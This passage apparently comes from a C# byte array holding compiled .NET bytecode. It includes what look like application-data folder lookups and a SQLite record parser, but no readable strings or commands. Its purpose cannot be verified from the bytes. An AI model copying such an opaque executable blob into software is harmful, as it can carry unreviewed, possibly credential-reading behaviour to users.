0x04, 0x12, 0x03, 0x07, 0x8E, 0x69, 0x7D, 0x25, 0x00, 0x00, 0x04, 0x7E, 0x07, 0x00, 0x00, 0x04, 0x12, 0x03, 0x12, 0x02, 0x16, 0x6F, 0x5B, 0x00, 0x00, 0x06, 0x16, 0xFE, 0x01, 0x13, 0x04, 0x11, 0x04, 0x2C, 0x44, 0x00, 0x08, 0x7B, 0x25, 0x00, 0x00, 0x04, 0x16, 0xFE, 0x03, 0x13, 0x05, 0x11, 0x05, 0x2C, 0x33, 0x00, 0x08, 0x7B, 0x25, 0x00, 0x00, 0x04, 0x8D, 0x30, 0x00, 0x00, 0x01, 0x13, 0x06, 0x08, 0x7B, 0x24, 0x00, 0x00, 0x04, 0x11, 0x06, 0x16, 0x08, 0x7B, 0x25, 0x00, 0x00, 0x04, 0x28, 0x35, 0x00, 0x00, 0x0A, 0x00, 0x28, 0x36, 0x00, 0x00, 0x0A, 0x11, 0x06, 0x6F, 0x37, 0x00, 0x00, 0x0A, 0x13, 0x07, 0xDE, 0x36, 0x00, 0x00, 0xDE, 0x10, 0x13, 0x08, 0x00, 0x11, 0x08, 0x28, 0x38, 0x00, 0x00, 0x0A, 0x00, 0x14, 0x13, 0x07, 0xDE, 0x22, 0xDE, 0x1B, 0x00, 0x06, 0x7E, 0x31, 0x00, 0x00, 0x0A, 0x28, 0x39, 0x00, 0x00, 0x0A, 0x13, 0x09, 0x11, 0x09, 0x2C, 0x07, 0x06, 0x28, 0x3A, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xDC, 0x14, 0x13, 0x07, 0x2B, 0x00, 0x11, 0x07, 0x2A, 0x00, 0x00, 0x01, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0xA6, 0xAD, 0x00, 0x10, 0x12, 0x00, 0x00, 0x01, 0x02, 0x00, 0x07, 0x00, 0xB8, 0xBF, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x11, 0x00, 0x00, 0x28, 0x3B, 0x00, 0x00, 0x0A, 0x02, 0x6F, 0x3C, 0x00, 0x00, 0x0A, 0x0A, 0x28, 0x36, 0x00, 0x00, 0x0A, 0x06, 0x6F, 0x37, 0x00, 0x00, 0x0A, 0x0B, 0xDE, 0x06, 0x26, 0x00, 0x02, 0x0B, 0xDE, 0x00, 0x07, 0x2A, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1B, 0x1C, 0x00, 0x06, 0x10, 0x00, 0x00, 0x01, 0x42, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x02, 0x03, 0x7D, 0x09, 0x00, 0x00, 0x04, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x03, 0x00, 0x57, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x00, 0x7E, 0x3D, 0x00, 0x00, 0x0A, 0x0A, 0x72, 0xD1, 0x02, 0x00, 0x70, 0x03, 0x72, 0xD5, 0x02, 0x00, 0x70, 0x28, 0x3E, 0x00, 0x00, 0x0A, 0x73, 0x3F, 0x00, 0x00, 0x0A, 0x0B, 0x07, 0x02, 0x7B, 0x09, 0x00, 0x00, 0x04, 0x6F, 0x40, 0x00, 0x00, 0x0A, 0x0C, 0x08, 0x6F, 0x41, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x0D, 0x09, 0x2C, 0x05, 0x06, 0x13, 0x04, 0x2B, 0x18, 0x08, 0x6F, 0x42, 0x00, 0x00, 0x0A, 0x72, 0xD1, 0x02, 0x00, 0x70, 0x28, 0x43, 0x00, 0x00, 0x0A, 0x19, 0x9A, 0x0A, 0x06, 0x13, 0x04, 0x2B, 0x00, 0x11, 0x04, 0x2A, 0x00, 0x13, 0x30, 0x04, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x11, 0x00, 0x00, 0x03, 0x0A, 0x16, 0x0B, 0x2B, 0x1F, 0x06, 0x07, 0x9A, 0x0C, 0x02, 0x02, 0x7B, 0x09, 0x00, 0x00, 0x04, 0x08, 0x72, 0xED, 0x02, 0x00, 0x70, 0x6F, 0x44, 0x00, 0x00, 0x0A, 0x7D, 0x09, 0x00, 0x00, 0x04, 0x07, 0x17, 0x58, 0x0B, 0x07, 0x06, 0x8E, 0x69, 0x32, 0xDB, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00, 0x12, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x11, 0x00, 0x02, 0x7B, 0x09, 0x00, 0x00, 0x04, 0x03, 0x28, 0x43, 0x00, 0x00, 0x0A, 0x0A, 0x2B, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x11, 0x00, 0x1E, 0x28, 0x45, 0x00, 0x00, 0x0A, 0x2E, 0x14, 0x72, 0xEF, 0x02, 0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x28, 0x29, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x2B, 0x01, 0x17, 0x0A, 0x06, 0x2C, 0x0E, 0x00, 0x72, 0x1D, 0x03, 0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x0D, 0x72, 0x41, 0x03, 0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x00, 0x07, 0x2A, 0x00, 0x13, 0x30, 0x05, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x11, 0x00, 0x02, 0x14, 0xFE, 0x01, 0x0B, 0x07, 0x2C, 0x0B, 0x72, 0x5B, 0x03, 0x00, 0x70, 0x73, 0x47, 0x00, 0x00, 0x0A, 0x7A, 0x03, 0x14, 0xFE, 0x01, 0x0C, 0x08, 0x2C, 0x0B, 0x72, 0x5F, 0x03, 0x00, 0x70, 0x73, 0x47, 0x00, 0x00, 0x0A, 0x7A, 0x02, 0x8E, 0x69, 0x0A, 0x0F, 0x00, 0x02, 0x8E, 0x69, 0x03, 0x8E, 0x69, 0x58, 0x28, 0x01, 0x00, 0x00, 0x2B, 0x00, 0x03, 0x16, 0x02, 0x06, 0x03, 0x8E, 0x69, 0x28, 0x49, 0x00, 0x00, 0x0A, 0x00, 0x02, 0x0D, 0x2B, 0x00, 0x09, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00, 0x50, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x11, 0x00, 0x72, 0x41, 0x03, 0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x28, 0x4A, 0x00, 0x00, 0x0A, 0x0A, 0x1E, 0x28, 0x45, 0x00, 0x00, 0x0A, 0x2E, 0x14, 0x72, 0xEF, 0x02, 0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x28, 0x29, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x2B, 0x01, 0x17, 0x0B, 0x07, 0x2C, 0x18, 0x00, 0x06, 0x72, 0x1D, 0x03, 0x00, 0x70, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x28, 0x4A, 0x00, 0x00, 0x0A, 0x28, 0x1B, 0x00, 0x00, 0x06, 0x0A, 0x00, 0x06, 0x0C, 0x2B, 0x00, 0x08, 0x2A, 0x1B, 0x30, 0x03, 0x00, 0xA8, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x11, 0x00, 0x00, 0x02, 0x72, 0x63, 0x03, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0A, 0x06, 0x28, 0x1F, 0x00, 0x00, 0x0A, 0x0B, 0x07, 0x2C, 0x61, 0x00, 0x06, 0x28, 0x4A, 0x00, 0x00, 0x0A, 0x0C, 0x16, 0x0D, 0x2B, 0x4F, 0x08, 0x09, 0x9A, 0x13, 0x04, 0x11, 0x04, 0x72, 0x75, 0x03, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x2D, 0x26, 0x11, 0x04, 0x72, 0x8F, 0x03, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x2D, 0x13, 0x11, 0x04, 0x72, 0xA1, 0x03, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x2B, 0x01, 0x17, 0x13, 0x05, 0x11, 0x05, 0x2C, 0x06, 0x11, 0x04, 0x13, 0x06, 0xDE, 0x36, 0x09, 0x17, 0x58, 0x0D, 0x09, 0x08, 0x8E, 0x69, 0x32, 0xAB, 0x00, 0xDE, 0x24, 0x13, 0x07, 0x00, 0x72, 0xBF, 0x03, 0x00, 0x70, 0x11, 0x07, 0x25, 0x2D, 0x04, 0x26, 0x14, 0x2B, 0x05, 0x6F, 0x24, 0x00, 0x00, 0x0A, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xDE, 0x00, 0x14, 0x13, 0x06, 0x2B, 0x00, 0x11, 0x06, 0x2A, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x7B, 0x7C, 0x00, 0x24, 0x12, 0x00, 0x00, 0x01, 0x13, 0x30, 0x02, 0x00, 0x52, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x11, 0x00, 0x00, 0x28, 0x1C, 0x00, 0x00, 0x06, 0x0A, 0x16, 0x0B, 0x2B, 0x38, 0x06, 0x07, 0x9A, 0x0C, 0x00, 0x08, 0x72, 0x49, 0x02, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x2C, 0x12, 0x08, 0x72, 0x2F, 0x02, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x2B, 0x01, 0x16, 0x0D, 0x09, 0x2C, 0x05, 0x08, 0x13, 0x04, 0x2B, 0x10, 0x00, 0x07, 0x17, 0x58, 0x0B, 0x07, 0x06, 0x8E, 0x69, 0x32, 0xC2, 0x14, 0x13, 0x04, 0x2B, 0x00, 0x11, 0x04, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00, 0x54, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x11, 0x00, 0x73, 0x4B, 0x00, 0x00, 0x0A, 0x0A, 0x00, 0x7E, 0x0B, 0x00, 0x00, 0x04, 0x0B, 0x16, 0x0C, 0x2B, 0x2F, 0x07, 0x08, 0x9A, 0x0D, 0x00, 0x7E, 0x0A, 0x00, 0x00, 0x04, 0x09, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x13, 0x04, 0x11, 0x04, 0x28, 0x1F, 0x00, 0x00, 0x0A, 0x13, 0x05, 0x11, 0x05, 0x2C, 0x0B, 0x00, 0x06, 0x11, 0x04, 0x6F, 0x4C, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x8E, 0x69, 0x32, 0xCB, 0x06, 0x6F, 0x4D, 0x00, 0x00, 0x0A, 0x13, 0x06, 0x2B, 0x00, 0x11, 0x06, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x1A, 0x28, 0x2C, 0x00, 0x00, 0x0A, 0x80, 0x0A, 0x00, 0x00, 0x04, 0x1E, 0x8D, 0x20, 0x00, 0x00, 0x01, 0x25, 0x16, 0x72, 0xEF, 0x03, 0x00, 0x70, 0xA2, 0x25, 0x17, 0x72, 0x0F, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x18, 0x72, 0x21, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x19, 0x72, 0x33, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x1A, 0x72, 0x4B, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x1B, 0x72, 0x6D, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x1C, 0x72, 0x99, 0x04, 0x00, 0x70, 0xA2, 0x25, 0x1D, 0x72, 0xD5, 0x04, 0x00, 0x70, 0xA2, 0x80, 0x0B, 0x00, 0x00, 0x04, 0x2A, 0x13, 0x30, 0x04, 0x00, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x1F, 0x0A, 0x8D, 0x30, 0x00, 0x00, 0x01, 0x25, 0xD0, 0x13, 0x00, 0x00, 0x04, 0x28, 0x4E, 0x00, 0x00, 0x0A, 0x7D, 0x0C, 0x00, 0x00, 0x04, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x02, 0x03, 0x28, 0x4F, 0x00, 0x00, 0x0A, 0x7D, 0x0E, 0x00, 0x00, 0x04, 0x02, 0x02, 0x1F, 0x10, 0x18, 0x28, 0x28, 0x00, 0x00, 0x06, 0x7D, 0x0F, 0x00, 0x00, 0x04, 0x02, 0x02, 0x1F, 0x38, 0x1A, 0x28, 0x28, 0x00, 0x00, 0x06, 0x7D, 0x0D, 0x00, 0x00, 0x04, 0x02, 0x1F, 0x64, 0x6A, 0x28, 0x26, 0x00, 0x00, 0x06, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x03, 0x00, 0x53, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x11, 0x00, 0x00, 0x03, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x8E, 0x69, 0xFE, 0x04, 0x16, 0xFE, 0x01, 0x0A, 0x06, 0x2C, 0x04, 0x14, 0x0B, 0xDE, 0x39, 0x04, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x03, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x7B, 0x28, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x2F, 0x15, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x03, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x7B, 0x28, 0x00, 0x00, 0x04, 0x04, 0x9A, 0x2B, 0x01, 0x14, 0x0B, 0xDE, 0x0A, 0x26, 0x00, 0x72, 0xED, 0x02, 0x00, 0x70, 0x0B, 0xDE, 0x00, 0x07, 0x2A, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x46, 0x47, 0x00, 0x0A, 0x10, 0x00, 0x00, 0x01, 0x13, 0x30, 0x01, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x11, 0x00, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x0A, 0x2B, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x1B, 0x30, 0x07, 0x00, 0xCE, 0x04, 0x00, 0x00, 0x14, 0x00, 0x00, 0x11, 0x00, 0x00, 0x02, 0x7B, 0x0E, 0x00, 0x00, 0x04, 0x03, 0x8A, 0x91, 0x1F, 0x0D, 0xFE, 0x01, 0x0A, 0x06, 0x39, 0x18, 0x04, 0x00, 0x00, 0x00, 0x02, 0x03, 0x69, 0x19, 0x58, 0x18, 0x28, 0x28, 0x00, 0x00, 0x06, 0x17, 0x6A, 0x59, 0x6D, 0x0B, 0x16, 0x0C, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x14, 0xFE, 0x03, 0x0D, 0x09, 0x2C, 0x25, 0x00, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x0C, 0x02, 0x7C, 0x12, 0x00, 0x00, 0x04, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x07, 0x58, 0x17, 0x58, 0x28, 0x02, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x2B, 0x0E, 0x02, 0x07, 0x17, 0x58, 0x8D, 0x19, 0x00, 0x00, 0x02, 0x7D, 0x12, 0x00, 0x00, 0x04, 0x16, 0x13, 0x04, 0x38, 0xA6, 0x03, 0x00, 0x00, 0x00, 0x02, 0x03, 0x69, 0x1E, 0x58, 0x11, 0x04, 0x18, 0x5A, 0x58, 0x18, 0x28, 0x28, 0x00, 0x00, 0x06, 0x13, 0x05, 0x03, 0x1F, 0x64, 0x6A, 0xFE, 0x01, 0x16, 0xFE, 0x01, 0x13, 0x0F, 0x11, 0x0F, 0x2C, 0x06, 0x11, 0x05, 0x03, 0x58, 0x13, 0x05, 0x02, 0x11, 0x05, 0x69, 0x28, 0x29, 0x00, 0x00, 0x06, 0x13, 0x06, 0x02, 0x11, 0x05, 0x69, 0x11, 0x06, 0x28, 0x2A, 0x00, 0x00, 0x06, 0x26, 0x02, 0x11, 0x05, 0x11, 0x06, 0x6A, 0x11, 0x05, 0x59, 0x58, 0x17, 0x6A, 0x58, 0x69, 0x28, 0x29, 0x00, 0x00, 0x06, 0x13, 0x07, 0x02, 0x11, 0x05, 0x11, 0x06, 0x6A, 0x11, 0x05, 0x59, 0x58, 0x17, 0x6A, 0x58, 0x69, 0x11, 0x07, 0x28, 0x2A, 0x00, 0x00, 0x06, 0x26, 0x11, 0x05, 0x11, 0x07, 0x6A, 0x11, 0x05, 0x59, 0x17, 0x6A, 0x58, 0x58, 0x13, 0x08, 0x02, 0x11, 0x08, 0x69, 0x28, 0x29, 0x00, 0x00, 0x06, 0x13, 0x09, 0x11, 0x09, 0x13, 0x0A, 0x02, 0x11, 0x08, 0x69, 0x11, 0x09, 0x28, 0x2A, 0x00, 0x00, 0x06, 0x13, 0x0B, 0x14, 0x13, 0x0C, 0x11, 0x08, 0x11, 0x09, 0x6A, 0x59, 0x17, 0x6A, 0x58, 0x13, 0x0D, 0x16, 0x13, 0x0E, 0x38, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x12, 0x0C, 0x11, 0x0E, 0x17, 0x58, 0x28, 0x03, 0x00, 0x00, 0x2B, 0x00, 0x11, 0x0A, 0x17, 0x58, 0x13, 0x10, 0x02, 0x11, 0x10, 0x28, 0x29, 0x00, 0x00, 0x06, 0x13, 0x0A, 0x11, 0x0C, 0x11, 0x0E, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x02, 0x11, 0x10, 0x11, 0x0A, 0x28, 0x2A, 0x00, 0x00, 0x06, 0x7D, 0x27, 0x00, 0x00, 0x04, 0x11, 0x0C, 0x11, 0x0E, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x11, 0x0C, 0x11, 0x0E, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x27, 0x00, 0x00, 0x04, 0x1F, 0x09, 0x6A, 0x31, 0x43, 0x11, 0x0C, 0x11, 0x0E, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x27, 0x00, 0x00, 0x04, 0x28, 0x2B, 0x00, 0x00, 0x06, 0x2C, 0x17, 0x11, 0x0C, 0x11, 0x0E, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x27, 0x00, 0x00, 0x04, 0x1F, 0x0D, 0x6A, 0x59, 0x18, 0x6A, 0x5B, 0x2B, 0x15, 0x11, 0x0C, 0x11, 0x0E, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x27, 0x00, 0x00, 0x04, 0x1F, 0x0C, 0x6A, 0x59, 0x18, 0x6A, 0x5B, 0x2B, 0x17, 0x02, 0x7B, 0x0C, 0x00, 0x00, 0x04, 0x11, 0x0C, 0x11, 0x0E, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x27, 0x00, 0x00, 0x04, 0xD4, 0x91, 0x6E, 0x7D, 0x26, 0x00, 0x00, 0x04, 0x11, 0x0D, 0x11, 0x0A, 0x11, 0x10, 0x59, 0x6A, 0x58, 0x17, 0x6A, 0x58, 0x13, 0x0D, 0x11, 0x0E, 0x17, 0x58, 0x13, 0x0E, 0x00, 0x11, 0x0D, 0x11, 0x0B, 0xFE, 0x04, 0x13, 0x11, 0x11, 0x11, 0x3A, 0x2C, 0xFF, 0xFF, 0xFF, 0x11, 0x0C, 0x14, 0xFE, 0x03, 0x13, 0x12, 0x11, 0x12, 0x39, 0x13, 0x02, 0x00, 0x00, 0x00, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x08, 0x11, 0x04, 0x58, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x11, 0x0C, 0x8E, 0x69, 0x8D, 0x20, 0x00, 0x00, 0x01, 0x7D, 0x28, 0x00, 0x00, 0x04, 0x16, 0x13, 0x13, 0x16, 0x13, 0x14, 0x38, 0xD3, 0x01, 0x00, 0x00, 0x00, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x27, 0x00, 0x00, 0x04, 0x1F, 0x09, 0x6A, 0xFE, 0x02, 0x13, 0x15, 0x11, 0x15, 0x39, 0x60, 0x01, 0x00, 0x00, 0x00, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x27, 0x00, 0x00, 0x04, 0x28, 0x2B, 0x00, 0x00, 0x06, 0x16, 0xFE, 0x01, 0x13, 0x16, 0x11, 0x16, 0x39, 0xFD, 0x00, 0x00, 0x00, 0x00, 0x02, 0x7B, 0x0D, 0x00, 0x00, 0x04, 0x17, 0x6A, 0xFE, 0x01, 0x13, 0x17, 0x11, 0x17, 0x2C, 0x45, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x08, 0x11, 0x04, 0x58, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x7B, 0x28, 0x00, 0x00, 0x04, 0x11, 0x14, 0x28, 0x3B, 0x00, 0x00, 0x0A, 0x02, 0x7B, 0x0E, 0x00, 0x00, 0x04, 0x11, 0x08, 0x11, 0x0B, 0x58, 0x11, 0x13, 0x6A, 0x58, 0x69, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x26, 0x00, 0x00, 0x04, 0x69, 0x6F, 0x50, 0x00, 0x00, 0x0A, 0xA2, 0x38, 0xA4, 0x00, 0x00, 0x00, 0x02, 0x7B, 0x0D, 0x00, 0x00, 0x04, 0x18, 0x6A, 0xFE, 0x01, 0x13, 0x18, 0x11, 0x18, 0x2C, 0x44, 0x00, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x08, 0x11, 0x04, 0x58, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x7B, 0x28, 0x00, 0x00, 0x04, 0x11, 0x14, 0x28, 0x51, 0x00, 0x00, 0x0A, 0x02, 0x7B, 0x0E, 0x00, 0x00, 0x04, 0x11, 0x08, 0x11, 0x0B, 0x58, 0x11, 0x13, 0x6A, 0x58, 0x69, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x26, 0x00, 0x00, 0x04, 0x69, 0x6F, 0x50, 0x00, 0x00, 0x0A, 0xA2, 0x00, 0x2B, 0x50, 0x02, 0x7B, 0x0D, 0x00, 0x00, 0x04, 0x19, 0x6A, 0xFE, 0x01, 0x13, 0x19, 0x11, 0x19, 0x2C, 0x40, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x08, 0x11, 0x04, 0x58, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x7B, 0x28, 0x00, 0x00, 0x04, 0x11, 0x14, 0x28, 0x52, 0x00, 0x00, 0x0A, 0x02, 0x7B, 0x0E, 0x00, 0x00, 0x04, 0x11, 0x08, 0x11, 0x0B, 0x58, 0x11, 0x13, 0x6A, 0x58, 0x69, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x26, 0x00, 0x00, 0x04, 0x69, 0x6F, 0x50, 0x00, 0x00, 0x0A, 0xA2, 0x00, 0x2B, 0x40, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x08, 0x11, 0x04, 0x58, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x7B, 0x28, 0x00, 0x00, 0x04, 0x11, 0x14, 0x28, 0x3B, 0x00, 0x00, 0x0A, 0x02, 0x7B, 0x0E, 0x00, 0x00, 0x04, 0x11, 0x08, 0x11, 0x0B, 0x58, 0x11, 0x13, 0x6A, 0x58, 0x69, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x26, 0x00, 0x00, 0x04, 0x69, 0x6F, 0x50, 0x00, 0x00, 0x0A, 0xA2, 0x00, 0x2B, 0x3B, 0x02, 0x7B, 0x12, 0x00, 0x00, 0x04, 0x08, 0x11, 0x04, 0x58, 0x8F, 0x19, 0x00, 0x00, 0x02, 0x7B, 0x28, 0x00, 0x00, 0x04, 0x11, 0x14, 0x02, 0x11, 0x08, 0x11, 0x0B, 0x58, 0x11, 0x13, 0x6A, 0x58, 0x69, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x26, 0x00, 0x00, 0x04, 0x69, 0x28, 0x28, 0x00, 0x00, 0x06, 0x28, 0x53, 0x00, 0x00, 0x0A, 0xA2, 0x11, 0x13, 0x11, 0x0C, 0x11, 0x14, 0x8F, 0x18, 0x00, 0x00, 0x02, 0x7B, 0x26, 0x00, 0x00, 0x04, 0x69, 0x58, 0x13, 0x13, 0x00, 0x11, 0x14, 0x17, 0x58, 0x13, 0x14, 0x11, 0x14, 0x11, 0x0C, 0x8E, 0x69, 0x17, 0x59, 0xFE, 0x02, 0x16, 0xFE, 0x01, 0x13, 0x1A, 0x11, 0x1A, 0x3A, 0x17, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x11, 0x04, 0x17, 0x58, 0x13, 0x04, 0x11, 0x04, 0x07, 0xFE, 0x02, 0x16, 0xFE, 0x01, 0x13, 0x1B, 0x11, 0x1B, 0x3A, 0x49, 0xFC, 0xFF, 0xFF, 0x00, 0x38, 0x91, 0x00, 0x00, 0x00, 0x02, 0x7B, 0x0E, 0x00, 0x00, 0x04, 0x03, 0x8A, 0x91, 0x1B, 0xFE, 0x01, 0x13, 0x1C, 0x11, 0x1C, 0x2C, 0x7F, 0x00, 0x02, 0x03, 0x19, 0x6A, 0x58, 0x69, 0x18, 0x28, 0x28, 0x00, 0x00, 0x06, 0x17, 0x6A, 0x59, 0x6D, 0x13, 0x1D, 0x16, 0x13, 0x1E, 0x2B, 0x3A, 0x00, 0x02, 0x03, 0x69, 0x1F, 0x0C, 0x58, 0x11, 0x1E, 0x18, 0x5A, 0x58, 0x18, 0x28, 0x28, 0x00, 0x00, 0x06, 0x6D, 0x13, 0x1F, 0x02, 0x02, 0x03, 0x11, 0x1F, 0x6E, 0x58, 0x69, 0x1A, 0x28, 0x28, 0x00, 0x00, 0x06, 0x17, 0x6A, 0x59, 0x02, 0x7B, 0x0F, 0x00, 0x00, 0x04, 0x5A, 0x28, 0x25, 0x00, 0x00, 0x06, 0x26, 0x00, 0x11, 0x1E, 0x17, 0x58, 0x13, 0x1E, 0x11, 0x1E, 0x11, 0x1D, 0xFE, 0x02, 0x16, 0xFE, 0x01, 0x13, 0x20, 0x11, 0x20, 0x2D, 0xB7, 0x02, 0x02, 0x03, 0x1E, 0x6A, 0x58, 0x69, 0x1A, 0x28, 0x28, 0x00, 0x00, 0x06, 0x17, 0x6A, 0x59, 0x02, 0x7B, 0x0F, 0x00, 0x00, 0x04, 0x5A, 0x28, 0x25, 0x00, 0x00, 0x06, 0x26, 0x00, 0x17, 0x13, 0x21, 0xDE, 0x07, 0x26, 0x00, 0x16, 0x13, 0x21, 0xDE, 0x00, 0x11, 0x21, 0x2A, 0x00, 0x00, 0x41, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC3, 0x04, 0x00, 0x00, 0xC4, 0x04, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x1B, 0x30, 0x06, 0x00, 0x97, 0x04, 0x00, 0x00, 0x15, 0x00, 0x00, 0x11, 0x00, 0x00, 0x02, 0x7B, 0x0E, 0x00, 0x00, 0x04, 0x03, 0xD4, 0x91, 0x13, 0x04, 0x11, 0x04, 0x0D, 0x09, 0x1B, 0x2E, 0x0F, 0x2B, 0x00, 0x09, 0x1F, 0x0D, 0x3B, 0xAB, 0x00, 0x00, 0x00, 0x38, 0x6B, 0x04, 0x00, 0x00, 0x02, 0x03, 0x69, 0x19, 0x58, 0x18, 0x28, 0x28, 0x00, 0x00, 0x06, 0x17, 0x6A, 0x59, 0x6D, 0x0A, 0x16, 0x13, 0x05, 0x2B, 0x62, 0x00, 0x02, 0x03, 0x69, 0x1F, 0x0C, 0x58, 0x11, 0x05, 0x18, 0x5A, 0x58, 0x18, 0x28, 0x28, 0x00, 0x00, 0x06, 0x6D, 0x13, 0x06, 0x03, 0x1F, 0x64, 0x6A, 0xFE, 0x01, 0x13, 0x07, 0x11, 0x07, 0x2C, 0x1C, 0x02, 0x02, 0x11, 0x06, 0x1A, 0x28, 0x28, 0x00, 0x00, 0x06, 0x17, 0x6A, 0x59, 0x02, 0x7B, 0x0F, 0x00, 0x00, 0x04, 0x5A, 0x28, 0x26, 